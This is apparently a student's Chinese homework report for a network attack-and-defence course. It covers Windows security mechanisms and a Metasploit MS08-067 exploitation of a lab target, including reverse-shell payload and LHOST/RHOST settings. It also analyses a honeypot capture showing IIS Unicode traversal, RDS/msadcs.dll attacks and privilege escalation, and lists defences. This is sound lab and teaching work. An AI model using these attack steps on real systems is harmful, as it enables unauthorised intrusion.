《网络攻防实践》第七周作业
一、前言
二、知识梳理
1、Windows操作系统基本结构
(1)windows系统的内核基本模块
- Windows执行体
- Windows内核体
- 设备驱动程序
- 硬件抽象层
- Windows窗口与图形界面接口内核实现代码
(2)Windows内核的核心机制
- Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
- Windows的网络机制
(3)Windows操作系统基本机构示意图
2、Windows运行机制
(1)Windows系统内核中的进程和线程管理机制:
(2)Windows进程中包括虚拟内存地址描述符、系统资源句柄列表、安全访问令牌、记录了进程Id及其父进程ID等信息、并至少有一个线程执行线程。线程包括程序执行的上下文信息,同时和进程共享虚拟地址、资源列表、安全令牌。
3、Windows操作系统的安全体系机制
(1)Windows身份认证机制
Windows为每个用户和计算机设置账户进行管理,账户权限的根本作用是限制这些账户呢欸运行程序对系统对象的访问(最高权限的本地Administration账户)
现在使用的是Kerberos身份认证,但在大量未使用域的网络环境里,Windos仍使用NTLMlai wa来完成网络用户的身份认证。
(2)Windows授权与访问控制机制
Windows的授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施,由SRM作为安全主体访问对象资源时的中介,根据设定的访问控制列表进行授权访问。
(3) Windows安全审计机制
Windows的审计策略由系统管理员定义。LSASS服务用于保存审计策略,SRM安全引用控制器对对象访问和操作事件进行记录,EventLog服务将事件写入日志文件中。
4、Windows远程安全攻防技术
windows的远程攻击可以大致分为:远程口令猜测与破解攻击、攻击网络服务、攻击客户端和用户
三、动手实践
虚拟机 |
IP地址 |
Kali |
192.168.200.3 |
Win2KServer_靶机 |
192.168.200.124 |
1、kali中输入msfconsole
启动kali里面的msfconsole
2、输入search ms08_067
查看漏洞ms08_067详细信息
3、输入show payloads
显示可攻击载荷
4、输入set PAYlOAD 3
设置攻击的载荷为tcp的反向连接
5、输入show options
展示渗透攻击需要设置的参数
6、输入show targets
展示可渗透攻击的靶机的操作系统及版本
7、输入set LHOST 192.168.200.3
设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124
设置渗透攻击的Win2KServer_靶机IP;
8、输入exploit
开始渗透攻击。一开始显示攻击失败,很是不解其原因,后来才发现原来是忘记启动蜜罐网关了。。。
9、在靶机中输入ipconfig/all
显示靶机的操作系统和IP配置,渗透攻击成功
实践二:解码一次成功的NT系统破解攻击
任务要求:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为:lab.wiretrip.net);回答下面的问题:
1、攻击者使用了什么破解工具进行攻击?
(1)用wireshark打开snort
(2)接下来设置限定条件为:ip.addr==172.16.1.106 and http
。然后就开始往下翻,编号为117的这一行发现有一些奇怪的路径。这个boot.ini是NT系统的启动文件。而前面的..%c0af..查阅资料后得知,这是"/"的Unicode编码,基本确定存在Unicode漏洞攻击。Unicode漏洞是指在Unicode字符解码时,IIS 4.0/5.0存在一个安全漏洞,导致用户可以远程通过iis执行任意命令。当用户用IIS打开文件时,如果该文件名包含Unicode字符,系统会对其进行解码。如果用户提供一些特殊的编码,将导致IIS错误地打开或者执行某些Web根目录以外的文件。
2、攻击者如何使用这个破解工具进入并控制了系统?
(1)在140行然后有一个msadcs.dll文件,这是一个远程数据访问服务的文件,存在RDS漏洞,该漏洞可以导致攻击者远程执行用户系统的命令,并以设备用户的身份运行
(2)进行HTTP流追踪,看到!ADM!ROX!YOUR!WORLD!
,根据教材内容,证实这是RDS漏洞攻击
3、当攻击者获得系统的访问权后做了什么?
(1)攻击者进入系统后连接6969端口,获得了访问权限
(2)从上面的数据流来看,下图中攻击者使用了SQl注入,在靶机系统目录下生成一个文件
(3)在编号2339追踪http流,我们可以看到ADD
,这意味着提升权限
4、我们如何防止这样的攻击?
答:从某种意义上来说,这场攻击主要是RDS漏洞攻击和Unicode漏洞攻击,方法有如下几点:
(1)限制网络用户访问和调用CMD命令的权限
(2)若没必要使用SCRIPTS和MSADC目录,删除或改名
(3)安装windows NT系统时不要使用默认WINNT路径,您可以改为其他的文件夹,如C:\mywindowsnt
(4)用户可从如下地址下载Microsoft提供的补丁:t.asp为IIS 4.0的补丁地址,.asp为IIS 5.0补丁地址
(5)通过移除或删除系统内/msadc目录,同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁(下载网址为),并注意及时上网更新
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
继续追踪TCP流就可以看到一行字,看到攻击者已经知道这是一台蜜罐主机
实践三:Windows系统远程渗透攻击与分析
2、其余步骤不变,也是输入set LHOST 192.168.200.3
设置渗透攻击的主机是kali,输入set RHOST 192.168.200.124
设置渗透攻击的Win2KServer_靶机IP
3、设置目标操作系统平台类型set TARGET 0
,0
意为自动匹配
4、在发起攻击之前打开wireshark抓包,然后输入``exploit`开始渗透攻击
5、可以看出攻击者ip地址192.168.200.3
,靶机ip地址192.168.200.124
,端口34767
,端口445
6、攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出是攻击这个漏洞
7、在靶机中输入ipconfig/all
,查看wireshark中捕获的包,可以从发出的数据中看到发出的命令
四、问题与解决
1、渗透攻击总是失败
解决方法:很是不解,后来才发现原来是忘记启动蜜罐网关了,打开后就可以攻击了
2、实践三用wireshark抓包数次而无果
解决方法:wireshark启动的时间点要早一点
五、总结与反思
本次实验操作难度较小,再加之之前已经将虚拟机调好,实验过程非常顺利。其中实践一实践三也属于较好理解的部分,唯独实践二做法不一,所涉理论较多,分析难度较大,着实费了不少时间,仍有许多不解,准备在度娘上查询更多相关文章以备解惑
六、参考资料